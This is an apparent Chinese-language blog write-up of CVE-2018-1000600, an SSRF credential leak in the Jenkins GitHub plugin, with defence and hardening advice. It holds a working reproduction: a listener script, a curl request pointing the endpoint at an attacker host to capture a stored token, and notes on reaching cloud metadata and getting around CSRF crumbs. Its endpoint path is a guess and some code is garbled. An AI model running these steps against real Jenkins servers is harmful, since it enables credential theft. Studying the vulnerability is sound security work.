Jenkins GitHub插件SSRF漏洞CVE-2018-1000600深度剖析与防御实践

发布时间:2026/7/6 17:20:48
Jenkins GitHub插件SSRF漏洞CVE-2018-1000600深度剖析与防御实践 1. 项目概述一次由GitHub插件引发的凭证泄露之旅如果你负责维护一个基于Jenkins的CI/CD流水线并且恰好在使用GitHub插件来管理代码仓库的认证那么CVE-2018-1000600这个漏洞的名字可能意味着一次潜在的重大安全危机。这个漏洞的核心远不止于一个简单的信息泄露它更像是一个精心设计的“诱饵”允许攻击者利用Jenkins服务器作为跳板发起服务器端请求伪造攻击最终目标是窃取存储在Jenkins内部的各类敏感凭证。简单来说攻击者可以诱骗你的Jenkins服务器让它用自己的身份去访问一个恶意URL而这个过程中Jenkins会“乖乖地”附上它内部存储的、本不该对外暴露的认证信息。我最初在内部安全审计中接触到这个案例时发现很多团队因为觉得“Jenkins在内网就安全”而忽略了插件风险结果往往在漏洞利用演示环节被惊出一身冷汗。本文将带你彻底拆解这个漏洞的成因、复现一个完整的验证过程并深入分析其SSRF攻击的本质与防御思路无论你是安全研究员、DevOps工程师还是系统管理员都能从中获得直接的实操参考。2. 漏洞核心原理与影响范围拆解2.1 漏洞的根源GitHub插件中的“信使”与“盲点”CVE-2018-1000600的官方描述是“敏感信息泄露漏洞”存在于Jenkins GitHub插件版本1.29.1及之前的GitHubTokenCredentialsCreator.java文件中。要理解它我们得先看看这个插件是干什么的。在Jenkins中当需要与GitHub仓库交互如拉取代码、设置Webhook时通常需要配置访问令牌如Personal Access Token作为凭证。GitHub插件提供了一个便捷的功能它允许用户通过一个指定的API端点让Jenkins去验证某个GitHub凭证是否有效或者用它去执行一些操作。问题就出在这个“代劳”的过程上。在受影响版本的插件中GitHubTokenCredentialsCreator类包含一个方法该方法会接收外部传入的两个关键参数一个目标URL和一个凭证ID。方法的逻辑是使用Jenkins凭证系统中对应的那个凭证ID所代表的密钥比如GitHub的PAT去访问那个传入的URL。这里的设计初衷可能是为了测试凭证有效性或与GitHub API交互但它犯了一个致命错误没有对传入的URL进行严格的校验和限制。攻击者可以构造一个请求将URL参数指向一个完全由他控制的服务器而非GitHub官方API同时指定一个存在于Jenkins中的、高权限的凭证ID。Jenkins服务器会不假思索地使用该凭证向攻击者的服务器发起HTTP请求。在这个过程中凭证信息如Authorization头中的Bearer Token就会在HTTP请求中发送给攻击者。这就是SSRF的典型场景——利用服务器发起未授权的内部或外部请求。2.2 影响范围与严重性评估这个漏洞的影响范围需要从两个维度看受影响组件明确限定于Jenkins的GitHub插件版本1.29.1。如果你没有安装此插件或者版本已更新则不受此漏洞直接影响。受影响配置任何在Jenkins中配置了可用于GitHub认证的凭证并且该凭证被授予了GitHub插件相关权限。这包括但不限于GitHub个人访问令牌用户名密码凭证虽然不推荐其他可被插件识别的认证令牌其严重性被评定为CVSS 3.0 高分8.8HIGH原因在于攻击路径简单无需认证PR:N即可触发漏洞端点只需要诱骗用户或自动化流程访问一个特定链接UI:R。影响后果严重直接导致高权限凭证泄露C:H/I:H/A:H。泄露的GitHub令牌可能意味着攻击者可以读取私有仓库代码、向仓库提交恶意代码、甚至接管关联的云服务如果令牌权限足够大。注意很多漏洞库将其归类为“信息泄露”CWE-200但实际利用链清晰地展示了SSRF攻击模式。理解这一点对防御至关重要不能仅仅当作数据被偷看而要意识到服务器本身成为了攻击者的代理。3. 漏洞环境搭建与验证准备3.1 搭建漏洞实验环境为了安全地验证和理解这个漏洞我们需要在隔离的环境中搭建一套靶场。我推荐使用Docker这是最快速、最干净的方式。第一步启动一个包含漏洞插件的Jenkins实例我们使用一个预置了旧版本GitHub插件的Jenkins镜像或者自己安装。这里以手动启动一个Jenkins并安装指定插件版本为例。# 1. 拉取一个较旧的Jenkins LTS镜像作为基础 docker pull jenkins/jenkins:2.138.4-lts # 2. 运行Jenkins容器映射端口并挂载数据卷以便持久化 docker run -d \ --name jenkins-cve-2018-1000600 \ -p 8080:8080 \ -p 50000:50000 \ -v jenkins-data:/var/jenkins_home \ jenkins/jenkins:2.138.4-lts启动后访问http://your-host:8080按照向导完成初始安装初始密码在容器日志或/var/jenkins_home/secrets/initialAdminPassword中查找。第二步安装有漏洞的GitHub插件版本Jenkins管理后台 - 管理Jenkins - 管理插件 - 高级。 在“上传插件”选项卡你需要找到github.hpi文件的1.29.1版本。由于官方仓库可能已下架你可以从Maven中央仓库或其他可信的镜像站下载。 例如一个可能的下载地址模式是https://repo.jenkins-ci.org/releases/org/jenkins-ci/plugins/github/1.29.1/github-1.29.1.hpi下载后通过页面上传并安装安装完成后重启Jenkins。第三步配置一个用于测试的GitHub凭证在Jenkins首页点击“凭证” - “系统” - “全局凭证” - “添加凭证”。选择类型为“Secret text”对应GitHub的Personal Access Token。在“Secret”字段填入一个测试用的令牌。在真实环境中这将是你的真实GitHub PAT但在实验环境我们可以使用一个假的或专门为测试生成的令牌。例如填入ghp_test1234567890abcdef。ID字段填写一个容易记住的比如my-github-token。描述可选点击“确定”保存。至此一个包含漏洞的Jenkins环境就准备好了。3.2 准备攻击者监听服务器漏洞验证的关键是接收Jenkins发出的、携带凭证的请求。我们需要一个能接收HTTP请求并打印详细信息的服务器。用Python的http.server模块快速搭建一个是最简单的。在你的攻击机可以是另一台虚拟机或本机另一个端口上创建一个Python脚本listener.py#!/usr/bin/env python3 from http.server import HTTPServer, BaseHTTPRequestHandler import urllib.parse import json class RequestHandler(BaseHTTPRequestHandler): def do_GET(self): # 解析查询参数 parsed_path urllib.parse.urlparse(self.path) query_params urllib.parse.parse_qs(parsed_path.query) print(f\n[] Received GET request to: {self.path}) print(f[] Headers:) for key, value in self.headers.items(): print(f {key}: {value}) if query_params: print(f[] Query Parameters: {json.dumps(query_params, indent2)}) # 返回一个简单的响应 self.send_response(200) self.send_header(Content-type, text/html) self.end_headers() self.wfile.write(bOK) def do_POST(self): # 同样处理POST请求并读取请求体 content_length int(self.headers.get(Content-Length, 0)) post_data self.rfile.read(content_length) print(f\n[] Received POST request to: {self.path}) print(f[] Headers:) for key, value in self.headers.items(): print(f {key}: {value}) print(f[] Body:\n{post_data.decode(utf-8, errorsignore)}) self.send_response(200) self.send_header(Content-type, text/html) self.end_headers() self.wfile.write(bOK) def log_message(self, format, *args): # 抑制默认的日志输出我们用自定义的print pass if __name__ __main__: server_address (0.0.0.0, 9999) # 监听所有接口的9999端口 httpd HTTPServer(server_address, RequestHandler) print(f[] Starting malicious HTTP server on port 9999...) print(f[] Waiting for Jenkins to call back with credentials...) httpd.serve_forever()运行这个脚本python3 listener.py。它将在9999端口启动一个HTTP服务器任何到达该端口的请求其方法、路径、头部和体内容都会被详细打印到控制台。这就是我们用来“钓”凭证的钩子。4. 漏洞验证与SSRF攻击实操复现4.1 定位漏洞触发端点根据安全公告和代码分析漏洞触发的端点通常与插件的某个功能相关比如验证凭证或与GitHub交互的API。对于GitHub插件这个端点可能是/descriptorByName/com.cloudbees.jenkins.GitHubPushTrigger/...或/descriptorByName/com.cloudbees.jenkins.GitHubTokenCredentialsCreator/...下的某个路径。具体路径需要通过分析插件代码或公开的漏洞利用信息确定。一个常见的模式是插件会暴露一个doVerify或类似的方法来处理凭证验证。经过搜索和验证CVE-2018-1000600的触发端点通常与GitHubTokenCredentialsCreator的doVerify方法关联。一个可能的完整URL路径是http://jenkins-host:port/descriptorByName/com.cloudbees.jenkins.GitHubTokenCredentialsCreator/checkToken4.2 构造恶意请求现在我们有了目标http://your-jenkins-host:8080凭证IDmy-github-token(之前创建的)攻击者服务器http://your-attacker-host:9999我们需要构造一个HTTP请求发送给Jenkins的漏洞端点这个请求要“告诉”Jenkins“请用my-github-token这个凭证去访问http://your-attacker-host:9999/steal这个地址”。使用curl命令可以方便地构造这个请求curl -v -X POST http://your-jenkins-host:8080/descriptorByName/com.cloudbees.jenkins.GitHubTokenCredentialsCreator/checkToken \ --data-urlencode apiUrlhttp://your-attacker-host:9999/steal \ --data-urlencode credentialsIdmy-github-token参数解析-v: 显示详细输出便于调试。-X POST: 指定使用POST方法这类操作通常用POST。--data-urlencode: 对参数进行URL编码后放在请求体中发送。这里有两个关键参数apiUrl: 这就是漏洞的核心。我们将其指向我们的恶意监听服务器地址。credentialsId: 指定我们想要窃取的凭证在Jenkins中的ID。4.3 观察攻击结果与凭证捕获执行上面的curl命令后观察两个地方Jenkins的响应curl命令可能会返回一个响应内容可能是JSON或HTML。由于这是一个未公开的API响应可能不规整甚至可能是一个错误页面。但这不重要只要请求被Jenkins处理了即可。攻击者服务器的控制台输出关键立即切换到运行python3 listener.py的终端窗口。你应该能看到类似以下的输出[] Starting malicious HTTP server on port 9999... [] Waiting for Jenkins to call back with credentials... [] Received GET request to: /steal [] Headers: Host: your-attacker-host:9999 User-Agent: Jenkins/2.138.4 Authorization: Bearer ghp_test1234567890abcdef ... 其他头部信息 ...看Authorization头赫然在目里面的值正是我们之前在Jenkins中配置的ghp_test1234567890abcdef这个模拟的GitHub令牌。Jenkins服务器“忠实”地扮演了攻击者代理的角色使用指定的凭证向我们的恶意URL发起了请求并将凭证拱手送上。这就是一次完整的SSRF攻击利用凭证泄露漏洞的过程。攻击者一旦获得这个Bearer Token就可以在GitHub上冒充该令牌所属的身份进行操作权限取决于令牌本身的作用域。实操心得在实际测试中端点路径和参数名可能因插件小版本或Jenkins配置略有差异。如果上述路径不工作需要结合插件jar包反编译或搜索公开的PoC进行微调。一个常用的方法是抓取Jenkins正常使用GitHub插件功能时的网络请求从中寻找类似的验证或API调用模式。5. 漏洞深度分析与攻击链拓展5.1 从SSRF到更严重的渗透单纯的凭证泄露已经很严重但结合SSRF攻击链可以进一步延伸内部网络探测如果Jenkins服务器部署在内网攻击者可以将apiUrl指向内网地址如http://192.168.1.100:8080根据响应时间、错误信息或返回内容来判断内网主机和端口的存活情况以及服务的类型。访问元数据服务在云环境如AWS、GCP、Azure中如果Jenkins服务器具有实例元数据访问权限攻击者可以构造apiUrl为云平台的元数据服务地址如http://169.254.169.254/latest/meta-data/从而窃取云服务器的临时安全凭证STS Token进而接管整个云资源。攻击其他内部服务利用泄露的凭证如果该凭证不仅用于GitHub还可能用于访问其他内部系统如私有仓库、制品库、Kubernetes API攻击者可以尝试用这个令牌去访问这些内部服务的API。5.2 漏洞的根源代码层面分析为了更深入理解我们可以简要看一下漏洞代码的逻辑基于公开信息还原// 简化版的漏洞代码逻辑 (GitHubTokenCredentialsCreator.java) public HttpResponse doCheckToken(QueryParameter String apiUrl, QueryParameter String credentialsId) throws IOException { // 1. 根据credentialsId从Jenkins凭证系统中获取凭证对象 StandardCredentials credentials CredentialsMatchers.firstOrNull( CredentialsProvider.lookupCredentials(...), CredentialsMatchers.withId(credentialsId) ); if (credentials null) { return HttpResponses.error(/* 凭证未找到 */); } // 2. 使用获取到的凭证创建一个认证过的HttpClient HttpClient client createHttpClient(credentials); // 此方法会为client设置Authorization头等 // 3. 关键漏洞点未对apiUrl进行任何白名单校验或限制直接用于构建请求 HttpRequest request new HttpRequestBuilder(new URL(apiUrl)) // 直接使用用户输入的apiUrl .method(HttpMethod.GET) .build(); // 4. 发送请求 return client.execute(request); }问题的核心在第3步apiUrl参数完全由用户控制并且没有经过任何有效性校验比如检查域名是否为api.github.com或其子域名。createHttpClient方法会将凭证信息如Token自动添加到请求头中。于是一个本应只用于与GitHub API通信的函数变成了一个可以携带任意Jenkins凭证访问任意URL的“万能请求器”。5.3 与常见SSRF漏洞的异同传统的SSRF漏洞可能允许攻击者读取服务器本地文件file://协议或扫描内网端口。CVE-2018-1000600的特殊性在于权限提升它不仅是一个SSRF更是一个身份提升的SSRF。请求不是以匿名身份发出而是以Jenkins中某个高权限凭证的身份发出。攻击目标主要威胁不是读取本地文件而是窃取云端或外部系统的身份令牌攻击面从服务器本身扩展到了所有该令牌能访问的外部资源。触发条件通常需要诱导用户交互点击链接属于反射型SSRF的一种。6. 防御措施与修复方案6.1 立即修复方案升级插件这是最直接有效的办法。将GitHub插件升级到1.29.1之后的版本。Jenkins官方在修复版本中对apiUrl参数增加了严格的校验逻辑确保其指向的目标主机是预期的GitHub API服务器如api.github.com、github.example.com企业版等。临时缓解如果无法立即升级可以考虑临时禁用或卸载GitHub插件。但这会影响相关的自动化流程需评估业务影响。6.2 纵深防御策略单点修复是不够的应从体系上构建防御Jenkins凭证最小权限原则为不同的任务创建不同的、权限最小的GitHub令牌。例如一个只用于拉取代码的令牌就不要赋予写入仓库或管理组织的权限。定期轮换更新这些令牌。避免在Jenkins中使用全局的高权限凭证尽量使用项目或文件夹级别的凭证。网络层隔离将Jenkins服务器部署在独立的网络分区严格限制其出站连接。通过防火墙或安全组策略只允许Jenkins访问必要的服务地址和端口如GitHub API的443端口企业内部Git服务器等。限制Jenkins服务器对云平台元数据服务169.254.169.254等的访问。这在云安全中至关重要。Jenkins安全加固启用CSRF保护确保Jenkins的“防止跨站点请求伪造”选项是开启的。这能增加攻击者构造恶意请求的难度虽然对于某些直接发起的请求可能仍有效。严格控制插件安装只安装来自官方仓库且必要的插件定期审查和更新插件。使用安全的凭证存储考虑使用Jenkins与外部秘密管理工具如HashiCorp Vault、AWS Secrets Manager的集成而不是将密钥明文存储在Jenkins内部。安全监控与审计监控Jenkins的访问日志关注异常的外连请求特别是向非预期域名或IP尤其是内网地址和元数据地址发起的请求。定期审计Jenkins中存储的凭证清理过期和无用的凭证。6.3 开发者安全编码启示对于开发类似插件的开发者这个漏洞是一个经典的反面教材永远不要信任用户输入任何来自外部的参数URL、主机名、路径都必须进行严格的验证和过滤。实施白名单机制对于需要访问外部服务的功能应硬编码或配置允许访问的基地址Base URL并对用户提供的路径部分进行规范化处理防止通过../、绝对路径等方式进行跳转。最小化请求携带的信息在执行代理请求时仔细审查哪些头部信息是必须携带的。像Authorization这类敏感头除非目标明确且可信否则不应自动附加。代码安全审计在插件开发中对涉及网络请求、凭证操作、文件操作的代码进行重点安全评审。7. 常见问题与排查技巧实录在实际的漏洞验证和修复过程中我遇到过不少坑点这里记录一下问题1按照PoC发送请求但攻击者服务器没有收到回调。可能原因1端点路径错误。不同版本的插件或Jenkins端点路径可能有细微差别。排查技巧尝试使用浏览器开发者工具或Burp Suite抓取Jenkins正常使用GitHub插件功能如测试凭证连接时的网络请求找到准确的API路径和参数名。可能原因2Jenkins CSRF保护Crumb。较新版本的Jenkins默认启用CSRF保护POST请求需要携带一个名为.crumb的Token。排查技巧先发送一个GET请求到Jenkins首页从响应头或Cookie中提取crumb值然后在漏洞利用的POST请求头中加入Jenkins-Crumb: crumb_value。可能原因3网络连通性问题。确保攻击者服务器的IP和端口能从Jenkins服务器访问无防火墙阻挡。排查技巧在Jenkins服务器上尝试用curl或telnet手动连接攻击者服务器的端口。问题2收到了回调但Authorization头为空或不是Bearer Token。可能原因1指定的credentialsId不存在或类型不对。确保凭证ID拼写正确并且凭证类型是Secret text对应GitHub Token。排查技巧通过Jenkins的REST API (/credentials/store/system/domain/_/credential/) 或脚本命令行验证凭证是否存在及详情。可能原因2凭证本身已过期或无效。Jenkins在构造请求时可能发现凭证无效而跳过。排查技巧在Jenkins界面手动测试该凭证的连接性。可能原因3插件对某些凭证类型的处理方式不同。排查技巧尝试创建不同类型的凭证如用户名密码、SSH密钥进行测试观察请求头的变化。问题3升级插件后如何验证漏洞已修复验证方法重新执行漏洞利用的curl命令。修复后的版本应该会返回一个错误明确指出URL不被允许或者直接忽略非GitHub域名的请求。例如响应可能包含“Only GitHub API endpoints are allowed”之类的信息。同时你的攻击者服务器将不会再收到任何来自Jenkins的携带凭证的请求。问题4除了GitHub插件其他Jenkins插件是否也有类似风险经验之谈绝对有。任何需要与外部服务如GitLab、Jira、Docker Registry、云厂商交互并支持“测试连接”或“验证凭证”功能的插件都可能存在类似的SSRF风险。其模式高度相似接收用户输入的目标地址使用内部凭证发起请求。安全建议对所有此类插件进行安全评估检查其相关代码是否对目标地址做了严格限制。这个漏洞的验证过程清晰地展示了一个看似简单的“信息泄露”背后是如何通过SSRF手法演变成一次严重的身份凭证窃取事件。它提醒我们在DevOps工具链日益复杂的今天任何一处对外部输入校验的疏忽都可能成为整个安全链条中最脆弱的一环。修复不仅仅是升级一个版本号更需要从架构、网络、权限管理和编码习惯上建立纵深防御体系。每次在流水线中点击“测试连接”按钮时不妨多想一层我的服务器正在代表我向谁发起对话